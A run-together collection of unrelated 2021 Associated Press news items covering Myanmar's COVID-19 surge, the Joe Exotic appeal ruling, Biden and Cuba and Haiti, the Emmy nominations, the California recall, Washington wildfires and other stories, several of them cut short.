Only in recent weeks, as testing and reporting of COVID-19 cases has started recovering, has it become clear that a third wave of the virus beginning in mid-May was pushing case and death numbers rapidly higher.

Even finding enough ambulances to carry the dead to Yangons cemeteries has has become difficult, said several charity workers, speaking on condition of anonymity.

Even bodies from yesterday could not be delivered by ambulance until this afternoon. Finding an ambulance is also very difficult. The death toll is rising by about 10 a day, said Ba Shwe, a veteran charity worker who was willing to be quoted by name. He has worked with the groups that arrange funerals and also helps supervise a quarantine center.

A worker for a charity organization that works in Yangons North Okkalapa neighborhood said that with seven ambulance drivers they were able to carry 50 bodies each day. In some cases, when they have not been able to transport all the bodies they have, they have had to hand them over for another charity group to handle, said the worker, who asked that neither he nor his organization be named.

The privately funded charity organizations do not handle the bodies of people certified as having died from COVID-19, because that is restricted to workers for the city government.

But they say many of the dead they handle were people whose oxygen supplies had run out. In many cases, people have been taking oxygen because they exhibited COVID-19 symptoms. For the past week, there have been queues in cities in town for oxygen and equipment such as canisters, both of which are in short supply.

The Health Ministry on Wednesday announced 7,083 new confirmed COVID-19 cases, bringing the total to 208,357 since the pandemic began, and 145 new deaths, making a total of 4,181.

The U.N. Special Rapporteur for human rights in Myanmar, Tom Andrews, said Wednesday that the situation posed a threat of a significant loss of life unless the international community provided emergency assistance.

An explosion of COVID cases, including the delta variant, the collapse of Myanmars health care system, and the deep mistrust of the people of Myanmar of anything connected to the military junta, are a perfect storm for such a disaster, Andrews said in a statement released by the U.N. office in Geneva.

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Associated Press writer Geir Moulson in Berlin contributed to this report.
VANCOUVER, Wash. (AP)  Attorneys for Clark County, Washington have filed a notice of appeal in a lawsuit in which Don Benton, the former director of the now-defunct Department of Environmental Services, and two of his former employees prevailed in May.

The county filed an amended notice in June to the Washington Court of Appeals, Division II seeking a review each plaintiffs judgment and each and every adverse ruling and determination made during the proceedings, The Columbian reported.
DENVER (AP)  A federal appeals court ruled Wednesday that Tiger King Joe Exotic should get a shorter prison sentence for his role in a murder-for-hire plot and violating federal wildlife laws.

Joe Exotic, whose real name is Joseph Maldonado-Passage, was sentenced in January 2020 to 22 years in federal prison after being convicted of trying to hire two different men to kill animal rights activist Carole Baskin. A three-judge panel for the U.S. Court of Appeals for the 10th Circuit in Denver found that the trial court wrongly treated those two convictions separately in calculating his prison term under sentencing guidelines.

The blond mullet-wearing zookeeper, known for his expletive-laden rants on YouTube and a failed 2018 Oklahoma gubernatorial campaign, was prominently featured in the popular Netflix documentary Tiger King: Murder, Mayhem and Madness.

The panel agreed with Maldonado-Passage that the court should have treated them as one conviction at sentencing because they both involved the same goal of killing Baskin, who runs a rescue sanctuary for big cats in Florida. According to the ruling, the court should have calculated his advisory sentencing range to be between 17 1/2 years and just under 22 years in prison, rather than between just under 22 years and 27 years in prison. The court ordered the trial court to re-sentence Maldonado-Passage.

Its possible that Maldonado-Passage could receive an even lower sentence than the range cited in the ruling because the court has to consider other factors too, his appeals attorney, Brandon Sample, said.

Meanwhile, another attorney representing Maldonado-Passage, John M. Phillips, hinted at the possibility of seeking a new trial, saying in a statement he would be filing motions citing previously undisclosed and newly discovered evidence in the case as well as examples of government misconduct.

People should know what they saw on television isnt the full truth. It isnt even the tip of the iceberg. It was snowflakes on the tip of the iceberg, largely manufactured by those who wanted to see Joe Exotic in jail for their own benefit," he said.

Maldonado-Passage, who has maintained his innocence, was also sentenced for killing five tigers, selling tiger cubs and falsifying wildlife records.

His supporters were disappointed that former President Donald Trump failed to issue him a pardon before leaving office. They were so confident in his chances that they had readied a celebratory limousine and a hair and wardrobe team to whisk him away from prison.

In his pardon application, Maldonado-Passages attorneys argued that he was railroaded and betrayed by others and said he will likely die in prison because of health concerns. He is serving his sentence at a medical prison in Fort Worth, Texas.

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This story has been corrected to say that the appeals court said the trial court should have calculated an advisory sentencing range of between 17 1/2 years and just under 22 years in prison, not that Maldonado-Passage should have been sentenced within that range.
WASHINGTON (AP)  They are two tiny Caribbean states whose intractable problems have vexed U.S. presidents for decades. Now, Haiti and Cuba are suddenly posing a growing challenge for President Joe Biden that could have political ramifications for him in the battleground state of Florida.

Cuban demonstrators have taken to the country's streets in recent days to lash out at the communist government and protest food shortages and high prices amid the coronavirus pandemic. In Haiti, officials are asking the U.S. to intercede in a roiling political crisis after last weeks assassination of President Jovenel Moise in a nation where military and humanitarian interventions by U.S. presidents from Woodrow Wilson to Barack Obama have proved to be politically harrowing.

Biden is facing increased pressure from Republican lawmakers for his administration to step up support of Cuban demonstrators. And his aides have demonstrated determined caution in response to requests for more U.S. involvement in Haiti.

The administration has come under fire from both sides of the political spectrum for its responses to each of the crises, both unfolding less than two hours' flying time from Miami. The troubled U.S. history in both countries has hardened positions, making virtually any policy decision politically unpalatable for a president seeking to toe a middle line.

In the background: How the Biden administration handles the crises looms large in electorally rich Florida.

Biden lost the state in 2020 to Donald Trump, as Republicans improved their performance while paying special attention to courting the states large Cuban American population and other immigrant voters, noted Susan MacManus, a Florida political analyst and professor emerita at the University of South Florida.

The caution Biden is showing reflects the poor showing in 2020 and a desire not to repeat it, said MacManus, who added that Haitian Americans are becoming a growing political force in South Florida. Democrats learned in 2020 that country of origin is a much more powerful voting cue in Florida than historical voting affiliation, and Trumps hammering on socialism proved to be an effective message.

Indeed, as the situations play out in Cuba and Haiti, Biden administration officials have responded cautiously.

The White House on Sunday dispatched representatives from the Justice Department, the Department of Homeland Security and the White House National Security Council to meet with Haiti's interim Prime Minister Claude Joseph, designated Prime Minister Ariel Henry and Joseph Lambert, the head of its dismantled Senate, whom supporters have named as provisional president in a challenge to Joseph.

White House officials said Haitis request for the U.S. to deploy troops was under review. At the State Department, spokesman Ned Price said Tuesday he was not aware that the administration had rejected any request from Haitian officials but said the focus was on supporting the investigation into the assassination rather than providing military assistance.

U.S. officials have also made clear that the administration remains concerned about the infighting over who is rightfully Moises successor in Haiti.

The White House is coordinating with Joseph in his capacity as acting prime minister, but is urging Haitian officials to work together to hold legislative and presidential elections as soon as feasibly possible.

Meanwhile, the White House said a review of its Cuba policy remains underway.

To be sure, U.S. efforts to press for regime change have had their fair share of failures over the years: the 1961 Bay of Pigs invasion, CIA-backed assassination attempts on Cuban leader Fidel Castro, and sanctions that inflicted pain but never produced the ultimate goal of ending communist rule.

Were going to be taking a close look at what has and has not worked in the past, and unfortunately in the case of Cuba, there may be more that has not worked than what has worked," Price said.

This week, Cuban police have been out in force as President Miguel Diaz-Canel has accused Cuban Americans of using social media to spur a rare outpouring of weekend protests. The demonstrations in several cities and towns were some of the biggest displays of antigovernment sentiment seen in years in tightly controlled Cuba, which is facing a surge of coronavirus cases as it struggles with its worst economic crisis in decades.

There are political crosscurrents for Biden as he addresses both situations.

On Cuba, the political right in the U.S. has accused Biden  who said as a presidential candidate that he would revert to Obama-era policies that loosened decades of embargo restrictions on Havana  of not being supportive enough of Cuban dissidents.

Democrats, meanwhile, are unhappy that Biden has yet to reverse Trumps hard-line approach to the islands communist government as his administration carries out its review of Cuban policy.

Trump in a statement criticized Biden's past promises to loosen restrictions on Cuba.

Dont forget that Biden and the Democrats campaigned on reversing my very tough stance on Cuba, Trump said.

Florida Republicans Sen. Marco Rubio and Rep. Carlos Gimenez, a freshman lawmaker who represents a Miami district that Democrats are hoping to flip in next year's midterm election, were among elected officials this week who called on the administration to maintain Trumps Cuba policy.

They also called on Biden to aid the protesters, including by making free satellite internet access available on the island to subvert the Cuban governments effort to stop activists from broadcasting their messages on social media to the world.

Gimenez said in an interview that simply maintaining the status quo is not enough at a moment when the island is seeing some of the most intense protests in more than 60 years  what Biden himself referred to as a clarion call for freedom.

Biden lost Florida by about double the margin by which Trump beat Democrat Hillary Clinton there in 2016.

Trump was helped in part by narrowing the Democrats' margin of victory in population-rich Miami-Dade County by nearly 13 percentage points. Gimenez and another freshman lawmaker of Cuban descent, Maria Elvira Salazar, picked up Democratic-held seats as Trump and Republicans focused on courting Cuban Americans, an important voting bloc in the state.

The majority of Cubans in Florida supported Trump over Biden, 58% to 41%, according to AP VoteCast. The margin was nearly reversed among other Hispanic voters in the state, who were more likely to support Biden than Trump, 59% to 40%.

Biden is no fool, said Gimenez. Its not just the Cuba issue, its the whole issue of socialism and communism and censorship thats shifted the people of Miami-Dade over to the right. The problem that the president has is the extreme parts of his own party seem to be driving the agenda, and that he just cant escape right now.

White House spokesman Chris Meagher said Biden, dating back to his days in the Senate, has been a fierce critic of the Castro regime and is committed to Cuban human rights.

Hes committed to forming his policies toward Cuba based on two principles: that standing up for democracy and human rights is paramount, and that Americans  especially Cuban Americans  are the best ambassadors for freedom and prosperity in Cuba, Meagher said.

Carlos Diaz-Rosillo, who served as a director of policy and interagency coordination in the Trump White House, said the situations in Cuba and Haiti offer Biden a chance to demonstrate his oft-repeated dictum that democracies can better service their people than autocracies as well as his preference for multilateral efforts to address big global problems.

This is an administration that says that they believe in international organizations and that they believe in these multilateral bodies. If thats the case, get our allies in the hemisphere together ... and see how they can rally others to help out, Diaz-Rosillo said.

___

Madhani reported from Chicago. Associated Press writer Hannah Fingerhut contributed to this report.

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This story has been corrected to show Biden lost Florida to Trump in 2020, not 2016.
LOS ANGELES (AP)  Assorted facts and figures drawn from the nominations for the 73rd Emmy Awards:

FENNELL FINDS HONORS ACROSS FIELDS

Fresh off an Oscar win for best original screenplay for Promising Young Woman, which she also directed, Renaissance woman Emerald Fennell has earned an Emmy nomination for acting. Shes up for best supporting actress in a drama for playing Camilla Parker Bowles in The Crown. Fennell previously earned two nominations for her writing and producing of Killing Eve in 2019.

DIVERSITY FIRSTS:

Mj Rodriguez of  Pose," nominated for best actress in a drama, breaks ground as the first trans woman to be nominated in a lead acting category. She's the third trans person overall to be nominated, after Laverne Coxs 2014 guest drama actress nod for Orange is the New Black and Rain Valdezs 2020 nomination for short form comedy or drama actress for Razor Tongue. And Jonathan Majors and Jurnee Smollett, of the canceled HBO sci-fi drama Lovecraft Country are the first Black actors to be nominated in the lead acting category for the same drama series. They're among 46 people of color nominated across all acting categories.

TIMING IS KIND TO RASHAD

Phylicia Rashad landed her third straight Emmy nomination for This Is Us after getting harsh criticism for her celebration of the freeing of her former co-star Bill Cosby. The voting that led to Rashad's nod for best guest actress in a drama series ended on June 28, two days before the Supreme Court of Pennsylvania reversed Cosby's sexual assault conviction and allowed him to be released from prison. Rashad celebrated the move by tweeting FINALLY!!!! A terrible wrong is being righted- a miscarriage of justice is corrected! Her critics included Howard University, where she had just been made dean of the College of Fine Arts. Rashad later tweeted that I fully support survivors of sexual assault coming forward. Rashad's first two Emmy nominations in 1985 and 1986 came for playing Cosby's wife Clair Huxtable on The Cosby Show.

APOLLO 73

At age 73, Carl Weathers has earned his first nomination for a major acting award with a nod for best guest actor in a drama series for The Mandalorian. Best known for playing Apollo Creed in four Rocky" films, the former NFL player has been acting since the mid-1970s in movies including Predator," Action Jackson and Happy Gilmore.

NOMS BY THE NUMBERS:

306: Emmy nominations through the years for Saturday Night Live. With 21 new nods in 2021, the sketch institution extends a record that is unlikely ever to be broken. It has nearly double the total of the closest contender, Game of Thrones which earned 161.

24: Nods for the queen and the bounty hunter. The Crown and The Mandalorian are the year's top nominees with two dozen nods apiece.

23: Nominations for fake TV.  WandaVision  with its synthesized faux-shows in the style of I Love Lucy The Dick Van Dyke Show and Malcolm In The Middle, has a shot at a whole bunch of very real Emmys.

20: Nominations for the coach. The total for Ted Lasso tops the 19 earned by Glee in 2010 to make it the most nominated first-season comedy ever. It fell just short of the record for a comedy series, 22, set by 30 Rock in 2009.

6: First-time nominations for cast members of Ted Lasso. Most of the half-dozen performers were virtually unknown in the U.S. before the upstart soccer comedy. They include star Jason Sudeikis along with Brett Goldstein, Nick Mohammed, Hannah Waddingham, Jeremy Swift and Juno Temple.

5: First-time nominations for cast members of Hamilton. There are few things "Hamilton" hasnt done, few awards it hasnt won, but the Broadway shows television version on Disney+ brought the first career Emmy nods to Renee Elise Goldsberry, Jonathan Groff, Anthony Ramos, Phillipa Soo and Daveed Diggs.

4: Men from Ted Lasso nominated in the same category. Goldstein, Mohammed, Swift and Brendan Hunt make up half the nominees for best supporting actor in a comedy series.

3: Actors nominated for two different shows. Jean Smart is up for best actress in a comedy series for Hacks and best supporting actress in a limited series or TV movie for Mare of Easttown. Aidy Bryant was nominated for best actress in a comedy for Shrill and best supporting actress in a comedy for Saturday Night Live. Her SNL castmate Kenan Thompson was nominated for best supporting actor in a comedy for that show and best actor in a comedy for Kenan.

2: Nominees for best variety sketch series. The category will be a game of one-on-one between Saturday Night Live and A Black Lady Sketch Show in a year of slim sketch pickings. The relatively new category had just three nominees last year, but has included either five or six in every year since 2015.

1: Acting nomination for Rosie Perez, who scored her first this year, for best supporting actress in a comedy series in The Flight Attendant. Her Emmy noms resume is deep and diversified, though. She was nominated three times for her choreography on In Living Color and once as a host on The View.

0: The number of times Netflix has won the Emmys top prize, best drama series, despite a dominant performance in the sheer number of nominations in recent years. It has a very strong chance this year to finally win best drama series with top nominee The Crown.

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Follow AP Entertainment Writer Andrew Dalton on Twitter: https://twitter.com/andyjamesdalton
LAKE OSWEGO, Ore. (AP)  A 15-year-old girl has been charged after she was identified through DNA in the assault of a Lake Oswego woman last year.

Lake Oswego police Sgt. Tom Hamann said the unidentified woman, who was 74 at the time, was getting a package from her doorstep at 11 p.m. on July 30, 2020, when the girl brutally assaulted her in her garage, The Oregonian/OregonLive reported.
LOS ANGELES (AP)  Gov. Gavin Newsom and two leading Republican rivals in the California recall election painted disparate pictures of the nations most populous state, with the first-term Democrat describing it Tuesday as an economic powerhouse leading the countrys pandemic recovery and his opponents saying its a mismanaged state with an incompetent leader.

Newsom, who could be removed from office in the Sept. 14 election, headed to a heavily Latino neighborhood east of downtown Los Angeles to tout his new state budget, which doles out billions of dollars for pandemic relief checks and payments to cover missed rent. In a campaign-style rally, his political allies took the stage to lavish him with praise and pledge their support.

Los Angeles County will anchor the no' on the recall," declared Ron Herrera, president of the Los Angeles County Federation of Labor, which represents 800,000 workers. He called Newsom a warrior" and a champion."

Meanwhile, conservative radio host Larry Elder sketched a California on the brink of collapse in his first news conference as a candidate, held outside the Los Angeles County elections office. In Sacramento, former San Diego Mayor Kevin Faulconer rolled out a wildfire prevention plan, part of his effort to establish himself as a candidate armed with policy solutions. He said Newsom has failed to lead on ways to prevent wildfires, which charred more of California last year than any year since records have been kept.

Los Angeles Mayor Eric Garcetti, a Democrat, defended Newsom at the rally for his decisions during the pandemic, saying that when it came to protecting even one life, thats not a tough call. But Elder blamed Newsom for restrictive school lockdowns that he said traumatized many students and young athletes and led others into trouble, labeling Newsoms rules an anti-science mandate.

The events offered a glimpse of the messaging that will dominate the campaign ahead of the September vote. Friday is the deadline for candidates to enter the race. So far, Newsom has kept other prominent Democrats out of the contest, while the Republican field continues to grow. All together, 70 people have said they plan to run.

Recall organizers gathered more than 2 million signatures to force the election and emphasized what they said were Newsom's overreaching policies during the pandemic. In the recall, voters will receive a ballot with two questions: Should Newsom be recalled and who should replace him? Answers to the second question will only be counted if more than half vote yes on the first.

For months, Newsom has used the power and visibility of his office as he works to convince voters he deserves to keep his seat, but Tuesday's event had all the elements of a political rally  a reminder that the nine-week campaign is underway. Rows of supporters sat behind him under campaign signs that read California Roars Back," his office's official slogan. His voice rising as he took the stage, Newsom declared the event one hell of a budget signing."

The state's $262.7 billion budget includes billions of expanding access to broadband, free transitional kindergarten for all 4-year-olds and relief for small businesses. Also among the items he touted Tuesday: $1,100 relief payments for low- and middle-class families, including immigrants, and state coverage of 100% of rent and utility bills people missed during the pandemic.

Several of the proposals will directly affect families in the working-class neighborhood where Newsom staged his ceremony.

You can't come roaring back unless we have the backs of every Californian," he said.

At another point he added, We have each and every one of you in mind.

Republicans share a different message of California's emergence from the pandemic, saying Newsom unnecessarily harmed people and small businesses with pandemic closures and failures in the state's unemployment agency. They've characterized him as unable to tackle some of the state's most pressing problems, including homelessness and wildfires.

The conservative Elder, a nationally syndicated radio host, attracted an enthusiastic, flag-waving crowd that spread across a grassy slope off the buildings portico. After being greeted with chants of Larry, Larry! Elder lanced into Newsom repeatedly, calling him a failure on whose watch homelessness spread, violent crime spiked, taxes climbed and housing costs soared.

The man has got to go, Elder said.

Standing in the crowd with the U.S. flag perched on his shoulder, David Brewer of Victorville said he was drawn to Elders life story  a climb to success from modest beginnings  and his willingness to challenge Democrats, particularly on schools.

Hes been standing up to the left for God knows how many years, said Brewer, 39, a Republican whos working on starting a charity. With Elder in the race all other candidates dont exist.

That could create trouble for Faulconer, who's sought to craft himself as the serious-minded Republican candidate with a track record of successful governing. He was elected twice to lead the nation's eighth-largest city. After releasing a wildfire prevention plan in Sacramento, Faulconer declined to comment directly on Elder or state Assemblyman Kevin Kiley, another new entrant with some support among activists who spearheaded the recall and don't believe Faulconer is conservative enough.

I think its incredibly important that when youre going to replace a governor you have someone whos going to tell you exactly what they did and what theyre going to do, and has that experience to do it, he said.

He called himself a proud Republican but said its important to bring people together to solve the states problems.
CHICAGO (AP)  A former Chicago elementary school principal has been indicted on federal fraud charges for approving false overtime claims by staff and obtaining some of money through kickbacks, authorities said Wednesday.

Sarah Jackson Abedelal, who was arrested Wednesday, is charged with 10 counts of wire fraud. Abedelal, 57, pleaded not guilty through attorney Steven Decker during a court appearance via a telephone link.
DETROIT (AP)  An ex-Detroit police officer has been sentenced to six years and eight months in federal prison in a scheme where bribes were given by collision shop owners in exchange for referrals of stolen and abandoned vehicles recovered in the city.

Deonne Dotson, 49, was convicted of extortion in November 2019 but sentencing was delayed until Tuesday due to the coronavirus pandemic, the U.S. Attorneys office in Detroit said.
CEDAR RAPIDS, Iowa (AP)  A former Cedar Rapids public school therapist has pleaded guilty to a federal count of enticement of a minor after authorities said the woman had sex with a 14-year-old boy who was a student in her care.

Miranda Breeden, 46, entered the plea Tuesday in Cedar Rapids federal court after admitting she could have been charged with third-degree sexual abuse in state court, federal prosecutors said in a news release.
DUBAI, United Arab Emirates (AP)  An explosion Wednesday in Saudi Arabia struck what authorities described as an ammunition dump containing unserviceable munitions. Videos showed sparks, flames and smoke shooting out of a desert location southeast of Riyadh near a major air base.

The blast happened at 5:10 a.m. as the sun rose over the city of Kharj, Brig. Gen. Turki al-Malki said, according to a report by the state-run Saudi Press Agency. He described the blast as an accident.
LOUISVILLE, Ky (AP)  Applications for federal grant funding for projects that serve or focus on victims of domestic violence, dating violence, sexual assault or stalking will open Aug. 2, Kentucky Gov. Andy Beshear said.

The funding is available under the federal Violence Against Women Act Services, Training, Officers, Prosecution Formula Grant Program.
NESPELEM, Wash. (AP)  A lightning-caused wildfire that destroyed seven homes and led to the evacuation of the town of Nespelem continued to burn in north-central Washington Wednesday while a fire near Wenatchee prompted mandatory evacuations and the execution of a search warrant as investigators seek its cause.

Firefighters across eastern Washington braced for the arrival of strong winds that could fan the flames of existing wildfires. The National Weather Service issued a red flag warning for much of eastern Washington beginning Wednesday afternoon and ending Thursday evening.

The weather conditions have the potential to expand wildfires around the region, including the fire near Nespelem, two massive fire complexes south of Clarkston, Washington, and the fire near Wenatchee.

The fire burning on the Colville Indian Reservation grew to 34 square miles (88 square kilometers) but containment also grew from zero to 20% as of Wednesday night. The Chuweah Creek Fire has burned seven homes, four of which were vacant.

Nespelem, which has about 200 residents, was evacuated Monday night and remains under evacuation notice, said Colville Tribal Chairman Andrew Badger Joseph Jr. Driven by wind and fueled with tall grass, sagebrush and timber, the fire moved toward town and the Colville Indian Agency Monday.

Police and people were coming by the houses asking people to get up and go, Joseph told The Spokesman-Review. They cant make you do that, but a lot of people evacuated  our convalescent seniors, our nursing home was evacuated.

The fire killed an unknown number of livestock, and some animals were severely injured and had to be euthanized. Many more are missing.

The Federal Emergency Management Agency has authorized the use of federal funds to help with firefighting costs for the Chuweah Creek Fire, after deciding it threatened to cause such destruction as to constitute a major disaster. The fire threatens roads, tribal government buildings, a tribal prison, parks and recreation facilities, farms, utilities, the local watershed, streams and fish spawning sites, as well as locations of cultural significance, FEMA said.

The Red Apple Fire in Chelan County started Tuesday evening and is burning grass and sage between the towns of Cashmere and Wenatchee along US Highway 2.

The blaze grew to an estimated 14 square miles (36 square kilometers) by Wednesday and is threatening homes, orchards and a power substation, according to the Washington state Department of Natural Resources. A state of emergency has been declared in Chelan County.

An estimated 1,065 homes in the Sunnyslope area are at risk and those residents have been told to evacuate immediately, The Seattle Times reported. Hundreds more homes and structures around Red Apple Road to the Sunnyslope areas are also under some form of evacuation order, Annie Schmidt, a spokesperson for the Chelan County Fire District in Leavenworth, told the newspaper.

On Wednesday evening, the Chelan County Sheriff's Office said in a news release that their detectives helped the Chelan County Fire Marshal and BLM Fire investigators execute a search warrant at a nearby residence believed to be the origin of the fire. The investigation remains active and more information will be released later, the sheriff's office said.

Firefighters were bracing for an expected cold front late Wednesday that was forecast to bring 25-to-30-mph (40-kph) winds to fires burning near the town of Asotin. Bill Queen, an information officer on the Lick Creek Fire, said the change in weather is expected to arrive about 10 p.m. and last through mid-morning Thursday.

Officials, out of an abundance of caution, upgraded evacuation notices in that area Wednesday evening for people to be set to evacuate.

Firefighters on the 99-square mile (256-square kilometer) blaze that is 20% contained have been working for days to widen fire lines. Queen said firefighters hope to hold the west and southwest flanks and keep the fire out of much steeper terrain.

We are really trying to keep it as small as we can," Queen told The Lewiston Tribune. "If we are not able to do that, it just becomes that much more difficult to deal with, on a potentially much larger landscape and with the resources we currently have.

Extreme conditions like these are often from a combination of unusual random, short-term and natural weather patterns heightened by long-term, human-caused climate change. Scientists have long warned that the weather will get wilder as the world warms.
ALBANY, N.Y. (AP)  A doctor who worked for New York's corrections system and took issue with a crackdown on prescription drug abuse is suing the agency, saying he was forced to quit and faced harassment for seeking appropriate care for his patients.

At issue is a policy shift the system made five years ago to increase oversight at a time of heightened concern regarding overprescribing painkillers in prisons. Some critics including the plaintiff, physician Michael Salvana, argue the new restrictions have left patients with conditions from multiple sclerosis to spinal injuries suffering needlessly.

The lawsuit filed last month in federal court in northern New York claims the states corrections agency violated Salvanas rights to speak up against the policy. Salvana said his superiors' inhumane interference in his patients' care caused him to leave his role as facility director in central New York at Walsh Regional Medical Unit in Rome, New York, that has 125 beds for prisoners with complicated medical needs.

It was very depressing, Salvana said in an interview. It's depressing to see these patients and knowing you cannot do anything to change it. Youre fighting a battle that you essentially cant win. It was very depressing and as a result I couldn't watch it anymore."

A centralized review process launched by the state in 2017 requires prison physicians to get approval from regional medical administrators for prescribing certain medications  a list that's included federally controlled narcotics as well as the nerve pain and anti-convulsant medication gabapentin, allergy medicine Claritin-D, cough medicine Robitussin DM and Imodium, used to treat diarrhea.

State corrections officials say the policy has increased oversight over the prescription of potentially addictive medications.

Salvana said the policy led to the abrupt discontinuation of effective treatments of hundreds of inmates with seizures, multiple sclerosis, cancer, sickle-cell anemia and spinal injuries.

Corrections department spokesperson Thomas Mailey said the agency declined comment on pending litigation.

New York is fighting a separate lawsuit over the policy by incarcerated individuals who claim they have been forced to live with untreated chronic pain and other conditions because some medications have become too difficult to get behind bars.

The state has argued the issue is about disagreements over the best way to treat patients rather than a violation of incarcerated people's constitutional rights.

"(I)t is justifiable for a doctor to prefer conservative treatments that entail less risk of harm, including abuse and addiction, reads an April 2020 motion to dismiss that lawsuit filed by State Attorney General Letitia James' office.

Lawyers for the incarcerated patients said in a January court filing that the Department of Corrections has taken another look at individual patients medical histories.

As of January, at least 39 of those 88 patients were receiving restricted or non-restricted medications or awaiting follow-ups from specialists, according to Amy Jane Agnew, an attorney representing the incarcerated patients. But Agnew said the state hadn't provided enough evidence to show whether all "patients received constitutionally adequate reassessments.

It is not unheard of for correctional settings to require an on-site health team to obtain outside approval or otherwise restrict access to medications, said Harvard Medical School professor Matt Tobey, director of rural medicine programs at Massachusetts General Hospital. While such policies can offer more guidance to medical providers, he said, they "typically place the administrative priorities of the facility  limiting costs or reducing the potential for medication diversion  over health.

Salvana said he lodged complaints, asked for patients in his unit to be exempted, sought reversals of denied care and had meetings with corrections officials  all to no avail.

In June 2019, Salvana ordered a benzodiazepine to sedate a patient with brain cancer who broke a water pipe. A supervisor ordered a nurse not to administer the medication to the patient, who later attacked a correctional officer who suffered "permanent injuries to his cervical spine," according to the lawsuit.

When Salvana detailed the incident to state corrections officials, he said his supervisor berated him" for prescribing the medication and filing a complaint about her. The supervisor then ordered nurses to withhold assistance from Salvana for several patients, according to the lawsuit.

Salvana ultimately left the state corrections system and now works as a doctor serving incarcerated patients at a corrections facility elsewhere in upstate New York.
FARMINGTON, Conn. (AP)  The lawyers for Fotis Dulos, the Connecticut man accused of murder after his estranged wife Jennifer Dulos disappeared, will be banned from discussing the case for 40 years, according to probate court settlements.

They must also return more than half the $250,000 retainer Dulos gave them shortly before his death. Probate Judge Evelyn Daly in Farmington, where Dulos lived, approved the settlements on Tuesday, ending lawsuits filed against criminal defense lawyers Norman Pattis and Kevin Smith, Hearst Connecticut Media reported.

Jennifer Dulos vanished in May 2019 after dropping the estranged couple's five children off at school in New Canaan where she was living  a case that drew international news coverage and led to TV documentaries and a movie. Her body still hasn't been found. Her disappearance came amid contentious divorce and child custody court proceedings.

State police accused Fotis Dulos of attacking her in her garage when she returned from the school and driving off with her body. He was charged with murder in January 2020 and died weeks later after a suicide attempt, police said. He denied having anything to do with her disappearance.

Christopher Hug, a lawyer for Fotis Dulos' estate, negotiated the probate court settlement and said Jennifer Dulos' family hopes to avoid more publicity. Pattis once suggested Jennifer Dulos may have staged her disappearance to frame Fotis Dulos, similar to the plot of Gone Girl," a novel made into a movie.

The heirs of the estate were very concerned about confidentiality, Hug told Daly on Tuesday.

Pattis declined to comment on the settlement Wednesday.

The 40-year gag order is unusual for probate cases, said former state Probate Judge J. David Morrissey.

The agreement settled lawsuits filed against the Pattis & Smith firm by Jennifer Dulos' family and Fotis Dulos' estate. It also calls for the firm to return $137,000 of the $250,000 retainer Fotis Dulos paid after he was charged with murder.

Murder conspiracy charges remain pending against Michelle Troconis, Fotis Dulos' former girlfriend, and attorney Kent Mawhinney, a friend of Fotis Dulos. Police accuse them of helping to cover up the killing. Both have pleaded not guilty.
BERLIN (AP)  Police said they were searching locations in the central German state of Hesse on Wednesday in connection with suspected Islamic extremists.

Hesse police said on Twitter that the raids were taking place at numerous premises across the state.
BERLIN (AP)  Germanys president appealed Wednesday to hesitant compatriots to get vaccinated against COVID-19, adding to efforts by top politicians to reinvigorate the country's inoculation campaign as infection numbers have begun to creep higher.

President Frank-Walter Steinmeiers video message came a day after Chancellor Angela Merkel urged German residents to get the shot.

Although case numbers remain very low  currently around seven weekly new cases per 100,000 residents  they have been edging up for a week, and German leaders are wary of worse to come now that the more contagious delta variant is dominant. And the number of people getting shots has slipped in recent weeks.

By Tuesday, 58.9% of the population had received at least one shot and 43.7% were fully vaccinated. But Germanys disease control center said last week that the country should aim to vaccinate 85% of people ages 12-59 and 90% of over-60s to prevent the delta variant from causing a resurgence of cases this fall and winter.

Many could hardly wait for the vaccine appointment, like myself," Steinmeier said. "Many struggled with themselves and then decided in favor  and thanks for that. What matters now is as many as possible follow their example.

I ask all those who are still uncertain: get yourselves vaccinated," he said.

Only when even more people in our country have received full vaccine protection is our common aim achieved, Steinmeier added. Only then will virus variants such as the current delta variant not force us into new restrictions; only then are we protected with great certainty against serious and fatal developments of infections.

Merkel has said that Germany doesn't plan to introduce compulsory vaccinations for some professions, as France and Greece are doing, but hasn't ruled out the possibility in the future.

One concern for politicians is preventing infections among schoolchildren once classes resume after the summer break. There is currently no vaccine approved for under-12s and many other young people still aren't vaccinated.

The economy ministry said after a Cabinet meeting Wednesday that the federal government will provide regional authorities 200 million euros ($237 million) to fund portable air filters for classrooms. It previously only helped fund built-in filters.

Federal and regional authorities have faced persistent criticism for having no coherent plans to keep schools running smoothly during the pandemic.
TIJUANA, Mexico (AP)  In a packed camp for migrant families on Mexico's side of the busiest U.S. border crossing, Nelson Membreno has lived through a chickenpox outbreak, people's heavy drug use and night prowlers wielding knives.

But he isn't more vulnerable than the thousands of others waiting in the camp in Tijuana for their chance to apply for humanitarian protection in the United States. He was surprised to get a call that he and his family were picked to seek asylum.

God opened the door, the 30-year-old from Honduras said before a border officer shouted his name. Wheeling a large suitcase past concrete barriers topped with barbed wire, Membreno walked into the U.S. with his wife, son and stepson.

His confusion speaks to an opaque  if temporary  system the Biden administration has assembled that tasks immigration advocates with choosing which migrants get a limited number of slots to come to the U.S. to claim asylum.

President Joe Biden has kept in place a Trump administration order that quickly expels people from the country without a chance to seek asylum to prevent spread of the coronavirus. While Biden exempted children traveling alone shortly after taking office, his administration also is quietly allowing more families and single adults to avoid the ban. A Justice Department attorney said in federal court Tuesday that a new order dealing with children was coming this week, without elaborating.

There is neither a published list of advocacy groups deciding who is vulnerable enough to claim asylum nor an explanation of how they choose people, with migrants often learning by word of mouth. Final decisions on asylum rest with U.S. authorities, who dont disclose their criteria or say how many people are admitted to the country.

An advocacy group used to send psychologists tent to tent in the Tijuana camp of about 2,000 migrants to identify families who were the most vulnerable. Those who qualified got numbered, laminated cards that put them in a queue to claim asylum. The coalition stopped issuing cards when it discovered profiteers were selling them for $500 to $1,000 each.

Several advocates are uneasy about their unusual assignment. Soraya Vazquez, deputy director of advocacy group Al Otro Lados Tijuana office, calls it the best of bad options, noting that her group facilitated entry for about 2,000 people as of early July.

This way of doing things is definitely not fair," said Vazquez, whose group collected 13,000 online questionnaires by early July asking people about their migration histories, medical issues and safety threats living in Mexico.

Advocates say U.S. officials have provided some guidance to characterize cases as urgent, though the specific criteria isn't public. They include serious medical conditions, imminent physical danger, being LGBTQ or a single mother with young children. But many chosen fall outside those categories.

